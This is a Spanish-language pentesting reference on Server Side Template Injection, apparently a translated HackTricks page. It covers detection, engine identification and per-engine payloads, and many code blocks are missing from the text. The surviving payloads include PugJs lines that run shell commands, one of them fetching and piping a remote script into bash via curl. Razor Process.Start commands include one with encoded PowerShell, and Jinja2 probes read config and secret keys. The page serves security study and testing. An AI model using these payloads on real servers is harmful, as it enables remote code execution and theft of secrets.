SSTI (Server Side Template Injection)
RootedCON es el evento de ciberseguridad más relevante en España y uno de los más importantes en Europa. Con la misión de promover el conocimiento técnico, este congreso es un punto de encuentro crucial para profesionales de tecnología y ciberseguridad en todas las disciplinas.
¿Qué es la inyección de plantillas en el lado del servidor (SSTI)?
La inyección de plantillas en el lado del servidor es una vulnerabilidad que ocurre cuando un atacante puede inyectar código malicioso en una plantilla que se ejecuta en el servidor. Esta vulnerabilidad se puede encontrar en varias tecnologías, incluyendo Jinja.
Jinja es un motor de plantillas popular utilizado en aplicaciones web. Consideremos un ejemplo que demuestra un fragmento de código vulnerable utilizando Jinja:
En este código vulnerable, el parámetro name
de la solicitud del usuario se pasa directamente al template usando la función render
. Esto potencialmente podría permitir a un atacante inyectar código malicioso en el parámetro name
, lo que llevaría a una inyección de plantillas en el servidor.
Por ejemplo, un atacante podría crear una solicitud con un payload como este:
El payload {{bad-stuff-here}}
se inyecta en el parámetro name
. Este payload puede contener directivas de plantilla Jinja que permiten al atacante ejecutar código no autorizado o manipular el motor de plantillas, potencialmente obteniendo control sobre el servidor.
Para prevenir vulnerabilidades de inyección de plantillas en el servidor, los desarrolladores deben asegurarse de que la entrada del usuario esté correctamente saneada y validada antes de ser insertada en las plantillas. Implementar validación de entrada y utilizar técnicas de escape conscientes del contexto puede ayudar a mitigar el riesgo de esta vulnerabilidad.
Detección
Para detectar la Inyección de Plantillas en el Servidor (SSTI), inicialmente, la prueba de plantillas es un enfoque directo. Esto implica inyectar una secuencia de caracteres especiales (${{<%[%'"}}%\
) en la plantilla y analizar las diferencias en la respuesta del servidor ante datos regulares versus esta carga especial. Los indicadores de vulnerabilidad incluyen:
Errores arrojados, revelando la vulnerabilidad y potencialmente el motor de plantillas.
Ausencia del payload en la reflexión, o partes faltantes, lo que implica que el servidor lo procesa de manera diferente que los datos regulares.
Contexto de Texto sin formato: Distinguir de XSS comprobando si el servidor evalúa expresiones de plantilla (por ejemplo,
{{7*7}}
,${7*7}
).Contexto de Código: Confirmar la vulnerabilidad alterando los parámetros de entrada. Por ejemplo, cambiar
greeting
enhttp://vulnerable-website.com/?greeting=data.username
para ver si la salida del servidor es dinámica o fija, como engreeting=data.username}}hello
devolviendo el nombre de usuario.
Fase de Identificación
Identificar el motor de plantillas implica analizar mensajes de error o probar manualmente varios payloads específicos del lenguaje. Los payloads comunes que causan errores incluyen ${7/0}
, {{7/0}}
y <%= 7/0 %>
. Observar la respuesta del servidor a operaciones matemáticas ayuda a identificar el motor de plantillas específico.
Herramientas
un escáner eficiente de SSTI + CSTI que utiliza políglotos novedosos
una tabla interactiva que contiene los políglotos de inyección de plantillas más eficientes junto con las respuestas esperadas de los 44 motores de plantillas más importantes.
Exploits
Genérico
En esta lista de palabras puedes encontrar variables definidas en los entornos de algunos de los motores mencionados a continuación:
Java
Java - Inyección básica
Java - Obtener las variables de entorno del sistema
Java - Obtener /etc/passwd
FreeMarker (Java)
Puedes probar tus payloads en https://try.freemarker.apache.org
{{7*7}} = {{7*7}}
${7*7} = 49
#{7*7} = 49 -- (legacy)
${7*'7'} Nothing
${foobar}
Freemarker - Salto de la caja de arena
⚠️ solo funciona en versiones de Freemarker anteriores a 2.3.30
Más información
En la sección de FreeMarker de https://portswigger.net/research/server-side-template-injection
Velocity (Java)
Más información
En la sección de Velocity de https://portswigger.net/research/server-side-template-injection
Thymeleaf
En Thymeleaf, una prueba común para vulnerabilidades de SSTI es la expresión ${7*7}
, la cual también se aplica a este motor de plantillas. Para una posible ejecución remota de código, se pueden usar expresiones como las siguientes:
SpringEL:
OGNL:
Thymeleaf requiere que estas expresiones se coloquen dentro de atributos específicos. Sin embargo, el inlineado de expresiones es compatible para otras ubicaciones de plantillas, utilizando una sintaxis como [[...]]
o [(...)]
. Por lo tanto, un simple payload de prueba de SSTI en Thymeleaf podría verse como [[${7*7}]]
.
Sin embargo, la probabilidad de que este payload funcione generalmente es baja. La configuración predeterminada de Thymeleaf no admite la generación dinámica de plantillas; las plantillas deben estar predefinidas. Los desarrolladores necesitarían implementar su propio TemplateResolver
para crear plantillas a partir de cadenas sobre la marcha, lo cual es poco común.
Thymeleaf también ofrece preprocesamiento de expresiones, donde las expresiones dentro de doble guion bajo (__...__
) son preprocesadas. Esta característica se puede utilizar en la construcción de expresiones, como se muestra en la documentación de Thymeleaf:
Ejemplo de Vulnerabilidad en Thymeleaf
Considere el siguiente fragmento de código, el cual podría ser susceptible a explotación:
Esto indica que si el motor de plantillas procesa estas entradas de manera incorrecta, podría llevar a la ejecución de código remoto accediendo a URLs como:
Más información
Marco Spring (Java)
Saltar filtros
Se pueden usar múltiples expresiones de variables, si ${...}
no funciona, prueba con #{...}
, *{...}
, @{...}
o ~{...}
.
Leer
/etc/passwd
Script personalizado para la generación de payloads
Más Información
Manipulación de Vistas de Spring (Java)
Pebble (Java)
{{ someString.toUPPERCASE() }}
Versión antigua de Pebble ( < versión 3.0.9):
Nueva versión de Pebble:
Jinjava (Java)
Jinjava es un motor de plantillas Java que admite la inyección de plantillas en el lado del servidor (SSTI). Permite a los atacantes ejecutar código Java arbitrario en el servidor afectado.
Jinjava es un proyecto de código abierto desarrollado por Hubspot, disponible en https://github.com/HubSpot/jinjava/
Jinjava - Ejecución de comandos
Corregido por https://github.com/HubSpot/jinjava/pull/230
Más información
Hubspot - HuBL (Java)
Delimitadores de declaración
{% %}
Delimitadores de expresión
{{ }}
Delimitadores de comentario
{# #}
{{ request }}
- com.hubspot.content.hubl.context.TemplateContextRequest@23548206{{'a'.toUpperCase()}}
- "A"{{'a'.concat('b')}}
- "ab"{{'a'.getClass()}}
- java.lang.String{{request.getClass()}}
- class com.hubspot.content.hubl.context.TemplateContextRequest{{request.getClass().getDeclaredMethods()[0]}}
- public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Buscar "com.hubspot.content.hubl.context.TemplateContextRequest" y descubrir el proyecto Jinjava en Github.
Más información
Lenguaje de Expresión - EL (Java)
${"aaaa"}
- "aaaa"${99999+1}
- 100000.#{7*7}
- 49${{7*7}}
- 49${{request}}, ${{session}}, {{faceContext}}
El Lenguaje de Expresión (EL) es una característica fundamental que facilita la interacción entre la capa de presentación (como páginas web) y la lógica de la aplicación (como beans administrados) en JavaEE. Se utiliza ampliamente en múltiples tecnologías de JavaEE para agilizar esta comunicación. Las principales tecnologías de JavaEE que utilizan EL incluyen:
JavaServer Faces (JSF): Emplea EL para vincular componentes en páginas JSF con los datos y acciones de backend correspondientes.
JavaServer Pages (JSP): EL se utiliza en JSP para acceder y manipular datos dentro de las páginas JSP, facilitando la conexión de elementos de página con los datos de la aplicación.
Contexts and Dependency Injection for Java EE (CDI): EL se integra con CDI para permitir una interacción fluida entre la capa web y los beans administrados, asegurando una estructura de aplicación más coherente.
Consulte la siguiente página para obtener más información sobre la explotación de intérpretes EL:
pageEL - Expression LanguageGroovy (Java)
Los siguientes bypasses del Administrador de Seguridad fueron tomados de este informe.
RootedCON es el evento de ciberseguridad más relevante en España y uno de los más importantes en Europa. Con la misión de promover el conocimiento técnico, este congreso es un punto de encuentro clave para profesionales de tecnología y ciberseguridad en todas las disciplinas.
Smarty (PHP)
Más información
En la sección de Smarty de https://portswigger.net/research/server-side-template-injection
Twig (PHP)
{{7*7}} = 49
${7*7} = ${7*7}
{{7*'7'}} = 49
{{1/0}} = Error
{{foobar}} Nothing
Twig - Formato de plantilla
Más información
En la sección Twig y Twig (Sandboxed) de https://portswigger.net/research/server-side-template-injection
Plates (PHP)
Plates es un motor de plantillas nativo de PHP, inspirado en Twig. Sin embargo, a diferencia de Twig, que introduce una nueva sintaxis, Plates aprovecha el código PHP nativo en las plantillas, lo que lo hace intuitivo para los desarrolladores de PHP.
Controlador:
Plantilla de página:
Plantilla de diseño:
Más información
PHPlib y HTML_Template_PHPLIB (PHP)
HTML_Template_PHPLIB es lo mismo que PHPlib pero portado a Pear.
authors.tpl
authors.php
Más información
Jade (NodeJS)
Más información
En la sección de Jade de https://portswigger.net/research/server-side-template-injection
patTemplate (PHP)
patTemplate es un motor de plantillas PHP que no compila, el cual utiliza etiquetas XML para dividir un documento en diferentes partes.
Más información
Handlebars (NodeJS)
Travesía de ruta (más información aquí).
= Error
${7*7} = ${7*7}
Nada
Más información
JsRender (NodeJS)
Plantilla | Descripción |
Evaluar y renderizar la salida | |
Evaluar y renderizar la salida codificada en HTML | |
Comentario | |
y | Permitir código (deshabilitado por defecto) |
= 49
Lado del Cliente
Lado del Servidor
Más información
PugJs (NodeJS)
#{7*7} = 49
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}
Ejemplo de renderizado en el servidor
Más información
NUNJUCKS (NodeJS)
{{7*7}} = 49
{{foo}} = Sin salida
#{7*7} = #{7*7}
{{console.log(1)}} = Error
Más información
ERB (Ruby)
{{7*7}} = {{7*7}}
${7*7} = ${7*7}
<%= 7*7 %> = 49
<%= foobar %> = Error
Más información
Slim (Ruby)
{ 7 * 7 }
Más información
Python
Consulta la siguiente página para aprender trucos sobre burlar las cajas de arena de ejecución de comandos arbitrarios en Python:
pageBypass Python sandboxesTornado (Python)
{{7*7}} = 49
${7*7} = ${7*7}
{{foobar}} = Error
{{7*'7'}} = 7777777
Más información
Jinja2 (Python)
Jinja2 es un motor de plantillas completo para Python. Tiene soporte completo para Unicode, un entorno de ejecución en sandbox integrado opcional, ampliamente utilizado y con licencia BSD.
{{7*7}} = Error
${7*7} = ${7*7}
{{foobar}} Nada
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
{{settings}}
<div data-gb-custom-block data-tag="debug"></div>
Jinja2 - Formato de plantilla
RCE no dependiente de __builtins__
:
Más detalles sobre cómo abusar de Jinja:
pageJinja2 SSTIOtros payloads en https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
Mako (Python)
Más información
Razor (.Net)
@(2+2) <= Éxito
@() <= Éxito
@("{{código}}") <= Éxito
@ <= Éxito
@{} <= ¡ERROR!
@{ <= ¡ERROR!
@(1+2)
@( //Código C# )
@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4M...
El método System.Diagnostics.Process.Start
de .NET se puede utilizar para iniciar cualquier proceso en el servidor y así crear un webshell. Puedes encontrar un ejemplo de una aplicación web vulnerable en https://github.com/cnotin/RazorVulnerableApp
Más información
ASP
<%= 7*7 %>
= 49<%= "foo" %>
= foo<%= foo %>
= Nada<%= response.write(date()) %>
= <Date>
Más Información
Mojolicious (Perl)
Incluso si es perl, utiliza etiquetas como ERB en Ruby.
<%= 7*7 %> = 49
<%= foobar %> = Error
SSTI en GO
En el motor de plantillas de Go, la confirmación de su uso se puede hacer con payloads específicos:
{{ . }}
: Revela la estructura de datos de entrada. Por ejemplo, si se pasa un objeto con un atributoPassword
,{{ .Password }}
podría exponerlo.{{printf "%s" "ssti" }}
: Se espera que muestre la cadena "ssti".{{html "ssti"}}
,{{js "ssti"}}
: Estos payloads deberían devolver "ssti" sin agregar "html" o "js". Se pueden explorar más directivas en la documentación de Go aquí.
Explotación de XSS
Con el paquete text/template
, XSS puede ser directo al insertar el payload directamente. Por el contrario, el paquete html/template
codifica la respuesta para evitar esto (por ejemplo, {{"<script>alert(1)</script>"}}
resulta en <script>alert(1)</script>
). Sin embargo, la definición e invocación de plantillas en Go puede evitar esta codificación: {{define "T1"}}alert(1){{end}} {{template "T1"}}
vbnet Copy code
Explotación de RCE
La explotación de RCE difiere significativamente entre html/template
y text/template
. El módulo text/template
permite llamar directamente a cualquier función pública (usando el valor "call"), lo cual no está permitido en html/template
. La documentación de estos módulos está disponible aquí para html/template y aquí para text/template.
Para RCE a través de SSTI en Go, se pueden invocar métodos de objetos. Por ejemplo, si el objeto proporcionado tiene un método System
que ejecuta comandos, se puede explotar como {{ .System "ls" }}
. Por lo general, es necesario acceder al código fuente para explotar esto, como en el ejemplo dado:
Más información
Más exploits
Consulta el resto de https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection para más exploits. También puedes encontrar información interesante sobre etiquetas en https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
BlackHat PDF
Ayuda relacionada
Si crees que podría ser útil, lee:
Herramientas
Lista de detección de fuerza bruta
Práctica y referencias
RootedCON es el evento de ciberseguridad más relevante en España y uno de los más importantes en Europa. Con la misión de promover el conocimiento técnico, este congreso es un punto de encuentro clave para profesionales de la tecnología y la ciberseguridad en todas las disciplinas.
Última actualización